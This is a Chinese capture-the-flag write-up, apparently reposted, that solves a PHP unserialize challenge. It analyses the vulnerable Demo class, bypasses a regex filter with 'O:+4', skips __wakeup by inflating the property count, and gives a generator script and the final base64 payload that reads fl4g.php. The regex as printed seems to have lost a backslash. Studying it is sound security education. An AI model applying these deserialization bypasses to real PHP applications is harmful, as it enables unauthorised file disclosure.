zoukankan      html  css  js  c++  java
  • Web_php_unserialize

    知识点:

    1、__construct():当对象创建(new)时会自动调用。但在 unserialize() 时是不会自动调用的。(构造函数)

    2、__destruct():当对象被销毁时会自动调用。(析构函数)

    3、__wakeup():unserialize() 时会自动调用

    首先拿到题目看到给出一段PHP源码

    <?php 
    class Demo { 
        private $file = 'index.php';
        public function __construct($file) { 
            $this->file = $file; 
        }
        function __destruct() { 
            echo @highlight_file($this->file, true); 
        }
        function __wakeup() { 
            if ($this->file != 'index.php') { 
                //the secret is in the fl4g.php
                $this->file = 'index.php'; 
            } 
        } 
    }
    if (isset($_GET['var'])) { 
        $var = base64_decode($_GET['var']); 
        if (preg_match('/[oc]:d+:/i', $var)) { 
            die('stop hacking!'); 
        } else {
            @unserialize($var); 
        } 
    } else { 
        highlight_file("index.php"); 
    } 
    ?>
    

    0x01源码分析

    首先它定义了一个Demo类,然后发现初始化改变file值,而且,源码中有这么一段注释:

    //the secret is in the fl4g.php
    

    告诉我们,这个flag在fl4g.php这个页面中,在

    function __destruct() { 
            echo @highlight_file($this->file, true); 
        }
    

    中,如果Demo类被销毁,那么就会高亮显示file所指向的文件的内容。

    那么Demo中还有一个函数就是_wakeup(),这个函数作用就是反序列化时,会自动执行,所以,要想反序列化,那么必须要绕过这个函数。

    if (isset($_GET['var'])) { 
        $var = base64_decode($_GET['var']); 
        if (preg_match('/[oc]:d+:/i', $var)) { 
            die('stop hacking!'); 
        } else {
            @unserialize($var); 
        } 
    } else { 
        highlight_file("index.php"); 
    } 
    ?>
    

    这里进行了变量的传入,使用的方法是GET传参,源码分析:

    1.首先base64加密

    2.使用了preg_match()匹配函数,如果匹配上了,就结束,否则

    @unserialize($var);
    

    所以这里要想办法绕过这个匹配函数

    0x02解题过程

    通过上述源码分析,我们要干下面几件事

    1.preg_match()匹配绕过

    2.unserialize() 反序列化执行_wakeup()的绕过

    preg_match('/[oc]:d+:/i', $var)
    

    preg_match()匹配的为 o或c : 任意长度数字(至少一个) /i表示匹配时不区分大小写

    接下来我们将所给的类反序列化:

    "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"

    为了绕过匹配,将4改为+4即可

    当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行。为了绕过__wakeup(),我们将1改为任意大于1的都行

    "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"

    "O:+4:"Demo":3:{s:10:"Demofile";s:8:"fl4g.php";}"

    反序列化代码:

    <?php 
    class Demo { 
        private $file = 'fl4g.php';
    }
    
    $x= serialize(new Demo);
    $x=str_replace('O:4', 'O:+4',$x);//绕过preg_match()
    $x=str_replace(':1:', ':3:',$x);//绕过__wakeup()
    echo base64_encode($x);
    ?>
    

    结果:

    TzorNDoiRGVtbyI6Mzp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

    传参给var即可得到flag

    在这里插入图片描述

  • 相关阅读:
    20200323 Go语言基础
    20200313 图表工具与redis使用
    20200312 CMDB的磁盘数据查询
    20200311 CMDB的表设计
    20200320 代码发布之完结
    20200319 代码发布之任务发布钩子脚本
    Ubuntu 安装 MySQL 服务
    使用U盘重装系统(删除掉系统自带的Windows 10)
    Linux & Windows 上安装 Qt
    初次使用Tampermonkey脚本管理器
  • 原文地址:https://www.cnblogs.com/Jleixin/p/12988831.html
Copyright © 2011-2022 走看看